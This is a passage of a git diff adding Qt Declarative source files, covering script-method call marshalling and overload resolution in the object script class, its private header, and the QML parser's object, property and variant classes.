+ qvariantPtr = new (&allocData) QVariant();
+ type = -1;
+
+ QDeclarativeEnginePrivate *priv = QDeclarativeEnginePrivate::get(engine);
+ QVariant v = priv->scriptValueToVariant(value);
+ if (v.userType() == callType) {
+ *qvariantPtr = v;
+ } else if (v.canConvert((QVariant::Type)callType)) {
+ *qvariantPtr = v;
+ qvariantPtr->convert((QVariant::Type)callType);
+ } else if (const QMetaObject *mo = priv->rawMetaObjectForType(callType)) {
+ QObject *obj = priv->toQObject(v);
+
+ if (obj) {
+ const QMetaObject *objMo = obj->metaObject();
+ while (objMo && objMo != mo) objMo = objMo->superClass();
+ if (!objMo) obj = 0;
+ }
+
+ *qvariantPtr = QVariant(callType, &obj);
+ } else {
+ *qvariantPtr = QVariant(callType, (void *)0);
+ }
+ }
+}
+
+QScriptDeclarativeClass::Value MetaCallArgument::toValue(QDeclarativeEngine *e)
+{
+ QScriptEngine *engine = QDeclarativeEnginePrivate::getScriptEngine(e);
+
+ if (type == qMetaTypeId<QScriptValue>()) {
+ return QScriptDeclarativeClass::Value(engine, *qscriptValuePtr);
+ } else if (type == QMetaType::Int) {
+ return QScriptDeclarativeClass::Value(engine, int(intValue));
+ } else if (type == QMetaType::UInt) {
+ return QScriptDeclarativeClass::Value(engine, uint(intValue));
+ } else if (type == QMetaType::Bool) {
+ return QScriptDeclarativeClass::Value(engine, boolValue);
+ } else if (type == QMetaType::Double) {
+ return QScriptDeclarativeClass::Value(engine, doubleValue);
+ } else if (type == QMetaType::Float) {
+ return QScriptDeclarativeClass::Value(engine, floatValue);
+ } else if (type == QMetaType::QString) {
+ return QScriptDeclarativeClass::Value(engine, *qstringPtr);
+ } else if (type == QMetaType::QObjectStar) {
+ if (qobjectPtr)
+ QDeclarativeData::get(qobjectPtr, true)->setImplicitDestructible();
+ QDeclarativeEnginePrivate *priv = QDeclarativeEnginePrivate::get(e);
+ return QScriptDeclarativeClass::Value(engine, priv->objectClass->newQObject(qobjectPtr));
+ } else if (type == qMetaTypeId<QList<QObject *> >()) {
+ QList<QObject *> &list = *qlistPtr;
+ QScriptValue rv = engine->newArray(list.count());
+ QDeclarativeEnginePrivate *priv = QDeclarativeEnginePrivate::get(e);
+ for (int ii = 0; ii < list.count(); ++ii) {
+ QObject *object = list.at(ii);
+ QDeclarativeData::get(object, true)->setImplicitDestructible();
+ rv.setProperty(ii, priv->objectClass->newQObject(object));
+ }
+ return QScriptDeclarativeClass::Value(engine, rv);
+ } else if (type == -1 || type == qMetaTypeId<QVariant>()) {
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(e);
+ QScriptValue rv = ep->scriptValueFromVariant(*qvariantPtr);
+ if (rv.isQObject()) {
+ QObject *object = rv.toQObject();
+ if (object)
+ QDeclarativeData::get(object, true)->setImplicitDestructible();
+ }
+ return QScriptDeclarativeClass::Value(engine, rv);
+ } else {
+ return QScriptDeclarativeClass::Value();
+ }
+}
+
+int QDeclarativeObjectMethodScriptClass::enumType(const QMetaObject *meta, const QString &strname)
+{
+ QByteArray str = strname.toUtf8();
+ QByteArray scope;
+ QByteArray name;
+ int scopeIdx = str.lastIndexOf("::");
+ if (scopeIdx != -1) {
+ scope = str.left(scopeIdx);
+ name = str.mid(scopeIdx + 2);
+ } else {
+ name = str;
+ }
+ for (int i = meta->enumeratorCount() - 1; i >= 0; --i) {
+ QMetaEnum m = meta->enumerator(i);
+ if ((m.name() == name) && (scope.isEmpty() || (m.scope() == scope)))
+ return QVariant::Int;
+ }
+ return QVariant::Invalid;
+}
+
+QDeclarativeObjectMethodScriptClass::Value QDeclarativeObjectMethodScriptClass::call(Object *o, QScriptContext *ctxt)
+{
+ MethodData *method = static_cast<MethodData *>(o);
+
+ if (method->data.relatedIndex == -1)
+ return callPrecise(method->object, method->data, ctxt);
+ else
+ return callOverloaded(method, ctxt);
+}
+
+QDeclarativeObjectMethodScriptClass::Value
+QDeclarativeObjectMethodScriptClass::callPrecise(QObject *object, const QDeclarativePropertyCache::Data &data,
+ QScriptContext *ctxt)
+{
+ if (data.flags & QDeclarativePropertyCache::Data::HasArguments) {
+
+ QMetaMethod m = object->metaObject()->method(data.coreIndex);
+ QList<QByteArray> argTypeNames = m.parameterTypes();
+ QVarLengthArray<int, 9> argTypes(argTypeNames.count());
+
+ // ### Cache
+ for (int ii = 0; ii < argTypeNames.count(); ++ii) {
+ argTypes[ii] = QMetaType::type(argTypeNames.at(ii));
+ if (argTypes[ii] == QVariant::Invalid)
+ argTypes[ii] = enumType(object->metaObject(), QString::fromLatin1(argTypeNames.at(ii)));
+ if (argTypes[ii] == QVariant::Invalid)
+ return Value(ctxt, ctxt->throwError(QString::fromLatin1("Unknown method parameter type: %1").arg(QLatin1String(argTypeNames.at(ii)))));
+ }
+
+ if (argTypes.count() > ctxt->argumentCount())
+ return Value(ctxt, ctxt->throwError(QLatin1String("Insufficient arguments")));
+
+ return callMethod(object, data.coreIndex, data.propType, argTypes.count(), argTypes.data(), ctxt);
+
+ } else {
+
+ return callMethod(object, data.coreIndex, data.propType, 0, 0, ctxt);
+
+ }
+}
+
+QDeclarativeObjectMethodScriptClass::Value
+QDeclarativeObjectMethodScriptClass::callMethod(QObject *object, int index,
+ int returnType, int argCount, int *argTypes,
+ QScriptContext *ctxt)
+{
+ if (argCount > 0) {
+
+ QVarLengthArray<MetaCallArgument, 9> args(argCount + 1);
+ args[0].initAsType(returnType, engine);
+
+ for (int ii = 0; ii < argCount; ++ii)
+ args[ii + 1].fromScriptValue(argTypes[ii], engine, ctxt->argument(ii));
+
+ QVarLengthArray<void *, 9> argData(args.count());
+ for (int ii = 0; ii < args.count(); ++ii)
+ argData[ii] = args[ii].dataPtr();
+
+ QMetaObject::metacall(object, QMetaObject::InvokeMetaMethod, index, argData.data());
+
+ return args[0].toValue(engine);
+
+ } else if (returnType != 0) {
+
+ MetaCallArgument arg;
+ arg.initAsType(returnType, engine);
+
+ void *args[] = { arg.dataPtr() };
+
+ QMetaObject::metacall(object, QMetaObject::InvokeMetaMethod, index, args);
+
+ return arg.toValue(engine);
+
+ } else {
+
+ void *args[] = { 0 };
+ QMetaObject::metacall(object, QMetaObject::InvokeMetaMethod, index, args);
+ return Value();
+
+ }
+}
+
+/*!
+Resolve the overloaded method to call. The algorithm works conceptually like this:
+ 1. Resolve the set of overloads it is *possible* to call.
+ Impossible overloads include those that have too many parameters or have parameters
+ of unknown type.
+ 2. Filter the set of overloads to only contain those with the closest number of
+ parameters.
+ For example, if we are called with 3 parameters and there are 2 overloads that
+ take 2 parameters and one that takes 3, eliminate the 2 parameter overloads.
+ 3. Find the best remaining overload based on its match score.
+ If two or more overloads have the same match score, call the last one. The match
+ score is constructed by adding the matchScore() result for each of the parameters.
+*/
+QDeclarativeObjectMethodScriptClass::Value
+QDeclarativeObjectMethodScriptClass::callOverloaded(MethodData *method, QScriptContext *ctxt)
+{
+ int argumentCount = ctxt->argumentCount();
+
+ QDeclarativePropertyCache::Data *best = 0;
+ int bestParameterScore = INT_MAX;
+ int bestMatchScore = INT_MAX;
+
+ QDeclarativePropertyCache::Data dummy;
+ QDeclarativePropertyCache::Data *attempt = &method->data;
+
+ do {
+ QList<QByteArray> methodArgTypeNames;
+
+ if (attempt->flags & QDeclarativePropertyCache::Data::HasArguments)
+ methodArgTypeNames = method->object->metaObject()->method(attempt->coreIndex).parameterTypes();
+
+ int methodArgumentCount = methodArgTypeNames.count();
+
+ if (methodArgumentCount > argumentCount)
+ continue; // We don't have sufficient arguments to call this method
+
+ int methodParameterScore = argumentCount - methodArgumentCount;
+ if (methodParameterScore > bestParameterScore)
+ continue; // We already have a better option
+
+ int methodMatchScore = 0;
+ QVarLengthArray<int, 9> methodArgTypes(methodArgumentCount);
+
+ bool unknownArgument = false;
+ for (int ii = 0; ii < methodArgumentCount; ++ii) {
+ methodArgTypes[ii] = QMetaType::type(methodArgTypeNames.at(ii));
+ if (methodArgTypes[ii] == QVariant::Invalid)
+ methodArgTypes[ii] = enumType(method->object->metaObject(),
+ QString::fromLatin1(methodArgTypeNames.at(ii)));
+ if (methodArgTypes[ii] == QVariant::Invalid) {
+ unknownArgument = true;
+ break;
+ }
+ methodMatchScore += matchScore(ctxt->argument(ii), methodArgTypes[ii], methodArgTypeNames.at(ii));
+ }
+ if (unknownArgument)
+ continue; // We don't understand all the parameters
+
+ if (bestParameterScore > methodParameterScore || bestMatchScore > methodMatchScore) {
+ best = attempt;
+ bestParameterScore = methodParameterScore;
+ bestMatchScore = methodMatchScore;
+ }
+
+ if (bestParameterScore == 0 && bestMatchScore == 0)
+ break; // We can't get better than that
+
+ } while((attempt = relatedMethod(method->object, attempt, dummy)) != 0);
+
+ if (best) {
+ return callPrecise(method->object, *best, ctxt);
+ } else {
+ QString error = QLatin1String("Unable to determine callable overload. Candidates are:");
+ QDeclarativePropertyCache::Data *candidate = &method->data;
+ while (candidate) {
+ error += QLatin1String("\n ") + QString::fromUtf8(method->object->metaObject()->method(candidate->coreIndex).signature());
+ candidate = relatedMethod(method->object, candidate, dummy);
+ }
+ return Value(ctxt, ctxt->throwError(error));
+ }
+}
+
+/*!
+ Returns the match score for converting \a actual to be of type \a conversionType. A
+ zero score means "perfect match" whereas a higher score is worse.
+
+ The conversion table is copied out of the QtScript callQtMethod() function.
+*/
+int QDeclarativeObjectMethodScriptClass::matchScore(const QScriptValue &actual, int conversionType,
+ const QByteArray &conversionTypeName)
+{
+ if (actual.isNumber()) {
+ switch (conversionType) {
+ case QMetaType::Double:
+ return 0;
+ case QMetaType::Float:
+ return 1;
+ case QMetaType::LongLong:
+ case QMetaType::ULongLong:
+ return 2;
+ case QMetaType::Long:
+ case QMetaType::ULong:
+ return 3;
+ case QMetaType::Int:
+ case QMetaType::UInt:
+ return 4;
+ case QMetaType::Short:
+ case QMetaType::UShort:
+ return 5;
+ break;
+ case QMetaType::Char:
+ case QMetaType::UChar:
+ return 6;
+ default:
+ return 10;
+ }
+ } else if (actual.isString()) {
+ switch (conversionType) {
+ case QMetaType::QString:
+ return 0;
+ default:
+ return 10;
+ }
+ } else if (actual.isBoolean()) {
+ switch (conversionType) {
+ case QMetaType::Bool:
+ return 0;
+ default:
+ return 10;
+ }
+ } else if (actual.isDate()) {
+ switch (conversionType) {
+ case QMetaType::QDateTime:
+ return 0;
+ case QMetaType::QDate:
+ return 1;
+ case QMetaType::QTime:
+ return 2;
+ default:
+ return 10;
+ }
+ } else if (actual.isRegExp()) {
+ switch (conversionType) {
+ case QMetaType::QRegExp:
+ return 0;
+ default:
+ return 10;
+ }
+ } else if (actual.isVariant()) {
+ if (conversionType == qMetaTypeId<QVariant>())
+ return 0;
+ else if (actual.toVariant().userType() == conversionType)
+ return 0;
+ else
+ return 10;
+ } else if (actual.isArray()) {
+ switch (conversionType) {
+ case QMetaType::QStringList:
+ case QMetaType::QVariantList:
+ return 5;
+ default:
+ return 10;
+ }
+ } else if (actual.isQObject()) {
+ switch (conversionType) {
+ case QMetaType::QObjectStar:
+ return 0;
+ default:
+ return 10;
+ }
+ } else if (actual.isNull()) {
+ switch (conversionType) {
+ case QMetaType::VoidStar:
+ case QMetaType::QObjectStar:
+ return 0;
+ default:
+ if (!conversionTypeName.endsWith('*'))
+ return 10;
+ else
+ return 0;
+ }
+ } else {
+ return 10;
+ }
+}
+
+static inline int QMetaObject_methods(const QMetaObject *metaObject)
+{
+ struct Private
+ {
+ int revision;
+ int className;
+ int classInfoCount, classInfoData;
+ int methodCount, methodData;
+ };
+
+ return reinterpret_cast<const Private *>(metaObject->d.data)->methodCount;
+}
+
+static QByteArray QMetaMethod_name(const QMetaMethod &m)
+{
+ QByteArray sig = m.signature();
+ int paren = sig.indexOf('(');
+ if (paren == -1)
+ return sig;
+ else
+ return sig.left(paren);
+}
+
+/*!
+Returns the next related method, if one, or 0.
+*/
+QDeclarativePropertyCache::Data *
+QDeclarativeObjectMethodScriptClass::relatedMethod(QObject *object, QDeclarativePropertyCache::Data *current,
+ QDeclarativePropertyCache::Data &dummy)
+{
+ QDeclarativePropertyCache *cache = QDeclarativeData::get(object)->propertyCache;
+ if (current->relatedIndex == -1)
+ return 0;
+
+ if (cache) {
+ return cache->method(current->relatedIndex);
+ } else {
+ const QMetaObject *mo = object->metaObject();
+ int methodOffset = mo->methodCount() - QMetaObject_methods(mo);
+
+ while (methodOffset > current->relatedIndex) {
+ mo = mo->superClass();
+ methodOffset -= QMetaObject_methods(mo);
+ }
+
+ QMetaMethod method = mo->method(current->relatedIndex);
+ dummy.load(method);
+
+ // Look for overloaded methods
+ QByteArray methodName = QMetaMethod_name(method);
+ for (int ii = current->relatedIndex - 1; ii >= methodOffset; --ii) {
+ if (methodName == QMetaMethod_name(mo->method(ii))) {
+ dummy.relatedIndex = ii;
+ return &dummy;
+ }
+ }
+
+ return &dummy;
+ }
+}
+
+QT_END_NAMESPACE
+
diff --git a/src/declarative/qml/qdeclarativeobjectscriptclass_p.h b/src/declarative/qml/qdeclarativeobjectscriptclass_p.h
new file mode 100644
index 00000000..6910960f
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeobjectscriptclass_p.h
@@ -0,0 +1,166 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEOBJECTSCRIPTCLASS_P_H
+#define QDECLARATIVEOBJECTSCRIPTCLASS_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativepropertycache_p.h"
+#include "private/qdeclarativetypenamecache_p.h"
+
+#include <private/qscriptdeclarativeclass_p.h>
+#include <QtScript/qscriptengine.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeEngine;
+class QScriptContext;
+class QScriptEngine;
+class QDeclarativeContextData;
+class MethodData;
+
+class Q_AUTOTEST_EXPORT QDeclarativeObjectMethodScriptClass : public QScriptDeclarativeClass
+{
+public:
+ QDeclarativeObjectMethodScriptClass(QDeclarativeEngine *);
+ ~QDeclarativeObjectMethodScriptClass();
+
+ QScriptValue newMethod(QObject *, const QDeclarativePropertyCache::Data *);
+
+protected:
+ virtual Value call(Object *, QScriptContext *);
+ virtual QScriptClass::QueryFlags queryProperty(Object *, const Identifier &, QScriptClass::QueryFlags flags);
+ virtual Value property(Object *, const Identifier &);
+
+private:
+ int enumType(const QMetaObject *, const QString &);
+
+ Value callPrecise(QObject *, const QDeclarativePropertyCache::Data &, QScriptContext *);
+ Value callOverloaded(MethodData *, QScriptContext *);
+ Value callMethod(QObject *, int index, int returnType, int argCount, int *argTypes, QScriptContext *ctxt);
+
+ int matchScore(const QScriptValue &, int, const QByteArray &);
+ QDeclarativePropertyCache::Data *relatedMethod(QObject *, QDeclarativePropertyCache::Data *current,
+ QDeclarativePropertyCache::Data &dummy);
+
+ PersistentIdentifier m_connectId;
+ PersistentIdentifier m_disconnectId;
+ QScriptValue m_connect;
+ QScriptValue m_disconnect;
+
+ static QScriptValue connect(QScriptContext *context, QScriptEngine *engine);
+ static QScriptValue disconnect(QScriptContext *context, QScriptEngine *engine);
+
+ QDeclarativeEngine *engine;
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativeObjectScriptClass : public QScriptDeclarativeClass
+{
+public:
+ QDeclarativeObjectScriptClass(QDeclarativeEngine *);
+ ~QDeclarativeObjectScriptClass();
+
+ QScriptValue newQObject(QObject *, int type = QMetaType::QObjectStar);
+
+ QObject *toQObject(const QScriptValue &) const;
+ int objectType(const QScriptValue &) const;
+
+ enum QueryHint {
+ ImplicitObject = 0x01,
+ SkipAttachedProperties = 0x02
+ };
+ Q_DECLARE_FLAGS(QueryHints, QueryHint)
+
+ QScriptClass::QueryFlags queryProperty(QObject *, const Identifier &,
+ QScriptClass::QueryFlags flags,
+ QDeclarativeContextData *evalContext,
+ QueryHints hints = 0);
+
+ Value property(QObject *, const Identifier &);
+
+ void setProperty(QObject *, const Identifier &name, const QScriptValue &,
+ QScriptContext *context, QDeclarativeContextData *evalContext = 0);
+ virtual QStringList propertyNames(Object *);
+ virtual bool compare(Object *, Object *);
+
+protected:
+ virtual QScriptClass::QueryFlags queryProperty(Object *, const Identifier &,
+ QScriptClass::QueryFlags flags);
+
+ virtual Value property(Object *, const Identifier &);
+ virtual void setProperty(Object *, const Identifier &name, const QScriptValue &);
+ virtual bool isQObject() const;
+ virtual QObject *toQObject(Object *, bool *ok = 0);
+
+private:
+ friend class QDeclarativeObjectMethodScriptClass;
+ QDeclarativeObjectMethodScriptClass methods;
+
+ QDeclarativeTypeNameCache::Data *lastTNData;
+ QDeclarativePropertyCache::Data *lastData;
+ QDeclarativePropertyCache::Data local;
+
+ PersistentIdentifier m_destroyId;
+ PersistentIdentifier m_toStringId;
+ QScriptValue m_destroy;
+ QScriptValue m_toString;
+
+ static QScriptValue tostring(QScriptContext *context, QScriptEngine *engine);
+ static QScriptValue destroy(QScriptContext *context, QScriptEngine *engine);
+
+ QDeclarativeEngine *engine;
+};
+Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarativeObjectScriptClass::QueryHints);
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVEOBJECTSCRIPTCLASS_P_H
+
diff --git a/src/declarative/qml/qdeclarativeparser.cpp b/src/declarative/qml/qdeclarativeparser.cpp
new file mode 100644
index 00000000..0bb52564
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeparser.cpp
@@ -0,0 +1,437 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativeparser_p.h"
+
+#include "qdeclarativepropertyvaluesource.h"
+#include "private/qdeclarativevme_p.h"
+#include "qdeclarative.h"
+#include "private/qdeclarativecomponent_p.h"
+#include "qdeclarativecomponent.h"
+#include "private/qmetaobjectbuilder_p.h"
+#include "private/qdeclarativevmemetaobject_p.h"
+#include "private/qdeclarativecompiler_p.h"
+#include "parser/qdeclarativejsast_p.h"
+#include "parser/qdeclarativejsengine_p.h"
+
+#include <QStack>
+#include <QColor>
+#include <QPointF>
+#include <QSizeF>
+#include <QRectF>
+#include <QStringBuilder>
+#include <QtDebug>
+
+QT_BEGIN_NAMESPACE
+
+using namespace QDeclarativeJS;
+using namespace QDeclarativeParser;
+
+QDeclarativeParser::Object::Object()
+: type(-1), majorVersion(-1), minorVersion(-1), idIndex(-1), metatype(0), synthCache(0), defaultProperty(0), parserStatusCast(-1)
+{
+}
+
+QDeclarativeParser::Object::~Object()
+{
+ if (defaultProperty) defaultProperty->release();
+ if (synthCache) synthCache->release();
+ foreach(Property *prop, properties)
+ prop->release();
+ foreach(Property *prop, valueProperties)
+ prop->release();
+ foreach(Property *prop, signalProperties)
+ prop->release();
+ foreach(Property *prop, attachedProperties)
+ prop->release();
+ foreach(Property *prop, groupedProperties)
+ prop->release();
+ foreach(Property *prop, valueTypeProperties)
+ prop->release();
+ typedef QPair<Property *, int> PropPair;
+ foreach(const PropPair &prop, scriptStringProperties)
+ prop.first->release();
+ foreach(const DynamicProperty &prop, dynamicProperties)
+ if (prop.defaultValue) prop.defaultValue->release();
+}
+
+void Object::setBindingBit(int b)
+{
+ while (bindingBitmask.size() < 4 * (1 + b / 32))
+ bindingBitmask.append(char(0));
+
+ quint32 *bits = (quint32 *)bindingBitmask.data();
+ bits[b / 32] |= (1 << (b % 32));
+}
+
+const QMetaObject *Object::metaObject() const
+{
+ if (!metadata.isEmpty() && metatype)
+ return &extObject;
+ else
+ return metatype;
+}
+
+QDeclarativeParser::Property *Object::getDefaultProperty()
+{
+ if (!defaultProperty) {
+ defaultProperty = new Property;
+ defaultProperty->parent = this;
+ }
+ return defaultProperty;
+}
+
+void QDeclarativeParser::Object::addValueProperty(Property *p)
+{
+ p->addref();
+ valueProperties << p;
+}
+
+void QDeclarativeParser::Object::addSignalProperty(Property *p)
+{
+ p->addref();
+ signalProperties << p;
+}
+
+void QDeclarativeParser::Object::addAttachedProperty(Property *p)
+{
+ p->addref();
+ attachedProperties << p;
+}
+
+void QDeclarativeParser::Object::addGroupedProperty(Property *p)
+{
+ p->addref();
+ groupedProperties << p;
+}
+
+void QDeclarativeParser::Object::addValueTypeProperty(Property *p)
+{
+ p->addref();
+ valueTypeProperties << p;
+}
+
+void QDeclarativeParser::Object::addScriptStringProperty(Property *p, int stack)
+{
+ p->addref();
+ scriptStringProperties << qMakePair(p, stack);
+}
+
+
+Property *QDeclarativeParser::Object::getProperty(const QByteArray &name, bool create)
+{
+ if (!properties.contains(name)) {
+ if (create) {
+ Property *property = new Property(name);
+ property->parent = this;
+ properties.insert(name, property);
+ } else {
+ return 0;
+ }
+ }
+ return properties[name];
+}
+
+QDeclarativeParser::Object::DynamicProperty::DynamicProperty()
+: isDefaultProperty(false), type(Variant), defaultValue(0)
+{
+}
+
+QDeclarativeParser::Object::DynamicProperty::DynamicProperty(const DynamicProperty &o)
+: isDefaultProperty(o.isDefaultProperty),
+ type(o.type),
+ customType(o.customType),
+ name(o.name),
+ defaultValue(o.defaultValue),
+ location(o.location)
+{
+}
+
+QDeclarativeParser::Object::DynamicSignal::DynamicSignal()
+{
+}
+
+QDeclarativeParser::Object::DynamicSignal::DynamicSignal(const DynamicSignal &o)
+: name(o.name), parameterTypes(o.parameterTypes),
+ parameterNames(o.parameterNames)
+{
+}
+
+QDeclarativeParser::Object::DynamicSlot::DynamicSlot()
+{
+}
+
+QDeclarativeParser::Object::DynamicSlot::DynamicSlot(const DynamicSlot &o)
+: name(o.name), body(o.body), parameterNames(o.parameterNames), location(o.location)
+{
+}
+
+QDeclarativeParser::Property::Property()
+: parent(0), type(0), index(-1), value(0), isDefault(true), isDeferred(false),
+ isValueTypeSubProperty(false), isAlias(false)
+{
+}
+
+QDeclarativeParser::Property::Property(const QByteArray &n)
+: parent(0), type(0), index(-1), value(0), name(n), isDefault(false),
+ isDeferred(false), isValueTypeSubProperty(false), isAlias(false)
+{
+}
+
+QDeclarativeParser::Property::~Property()
+{
+ foreach(Value *value, values)
+ value->release();
+ foreach(Value *value, onValues)
+ value->release();
+ if (value) value->release();
+}
+
+QDeclarativeParser::Object *QDeclarativeParser::Property::getValue(const LocationSpan &l)
+{
+ if (!value) { value = new QDeclarativeParser::Object; value->location = l; }
+ return value;
+}
+
+void QDeclarativeParser::Property::addValue(Value *v)
+{
+ values << v;
+}
+
+void QDeclarativeParser::Property::addOnValue(Value *v)
+{
+ onValues << v;
+}
+
+bool QDeclarativeParser::Property::isEmpty() const
+{
+ return !value && values.isEmpty() && onValues.isEmpty();
+}
+
+QDeclarativeParser::Value::Value()
+: type(Unknown), object(0)
+{
+}
+
+QDeclarativeParser::Value::~Value()
+{
+ if (object) object->release();
+}
+
+QDeclarativeParser::Variant::Variant()
+: t(Invalid) {}
+
+QDeclarativeParser::Variant::Variant(const Variant &o)
+: t(o.t), d(o.d), s(o.s)
+{
+}
+
+QDeclarativeParser::Variant::Variant(bool v)
+: t(Boolean), b(v)
+{
+}
+
+QDeclarativeParser::Variant::Variant(double v, const QString &asWritten)
+: t(Number), d(v), s(asWritten)
+{
+}
+
+QDeclarativeParser::Variant::Variant(const QString &v)
+: t(String), s(v)
+{
+}
+
+QDeclarativeParser::Variant::Variant(const QString &v, QDeclarativeJS::AST::Node *n)
+: t(Script), n(n), s(v)
+{
+}
+
+QDeclarativeParser::Variant &QDeclarativeParser::Variant::operator=(const Variant &o)
+{
+ t = o.t;
+ d = o.d;
+ s = o.s;
+ return *this;
+}
+
+QDeclarativeParser::Variant::Type QDeclarativeParser::Variant::type() const
+{
+ return t;
+}
+
+bool QDeclarativeParser::Variant::asBoolean() const
+{
+ return b;
+}
+
+QString QDeclarativeParser::Variant::asString() const
+{
+ return s;
+}
+
+double QDeclarativeParser::Variant::asNumber() const
+{
+ return d;
+}
+
+//reverse of Lexer::singleEscape()
+QString escapedString(const QString &string)
+{
+ QString tmp = QLatin1String("\"");
+ for (int i = 0; i < string.length(); ++i) {
+ const QChar &c = string.at(i);
+ switch(c.unicode()) {
+ case 0x08:
+ tmp += QLatin1String("\\b");
+ break;
+ case 0x09:
+ tmp += QLatin1String("\\t");
+ break;
+ case 0x0A:
+ tmp += QLatin1String("\\n");
+ break;
+ case 0x0B:
+ tmp += QLatin1String("\\v");
+ break;
+ case 0x0C:
+ tmp += QLatin1String("\\f");
+ break;
+ case 0x0D:
+ tmp += QLatin1String("\\r");
+ break;
+ case 0x22:
+ tmp += QLatin1String("\\\"");
+ break;
+ case 0x27:
+ tmp += QLatin1String("\\\'");
+ break;
+ case 0x5C:
+ tmp += QLatin1String("\\\\");
+ break;
+ default:
+ tmp += c;
+ break;
+ }
+ }
+ tmp += QLatin1Char('\"');
+ return tmp;
+}
+
+QString QDeclarativeParser::Variant::asScript() const
+{
+ switch(type()) {
+ default:
+ case Invalid:
+ return QString();
+ case Boolean:
+ return b?QLatin1String("true"):QLatin1String("false");
+ case Number:
+ if (s.isEmpty())
+ return QString::number(d);
+ else
+ return s;
+ case String:
+ return escapedString(s);
+ case Script:
+ return s;
+ }
+}
+
+QDeclarativeJS::AST::Node *QDeclarativeParser::Variant::asAST() const
+{
+ if (type() == Script)
+ return n;
+ else
+ return 0;
+}
+
+bool QDeclarativeParser::Variant::isStringList() const
+{
+ if (isString())
+ return true;
+
+ if (type() != Script || !n)
+ return false;
+
+ AST::ArrayLiteral *array = AST::cast<AST::ArrayLiteral *>(n);
+ if (!array)
+ return false;
+
+ AST::ElementList *elements = array->elements;
+
+ while (elements) {
+
+ if (!AST::cast<AST::StringLiteral *>(elements->expression))
+ return false;
+
+ elements = elements->next;
+ }
+
+ return true;
+}
+
+QStringList QDeclarativeParser::Variant::asStringList() const
+{
+ QStringList rv;
+ if (isString()) {
+ rv << asString();
+ return rv;
+ }
+
+ AST::ArrayLiteral *array = AST::cast<AST::ArrayLiteral *>(n);
+ if (!array)
+ return rv;
+
+ AST::ElementList *elements = array->elements;
+ while (elements) {
+
+ AST::StringLiteral *string = AST::cast<AST::StringLiteral *>(elements->expression);
+ if (!string)
+ return QStringList();
+ rv.append(string->value->asString());
+
+ elements = elements->next;
+ }
+
+ return rv;
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativeparser_p.h b/src/declarative/qml/qdeclarativeparser_p.h
new file mode 100644
index 00000000..6e4d6cd3
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeparser_p.h
@@ -0,0 +1,381 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
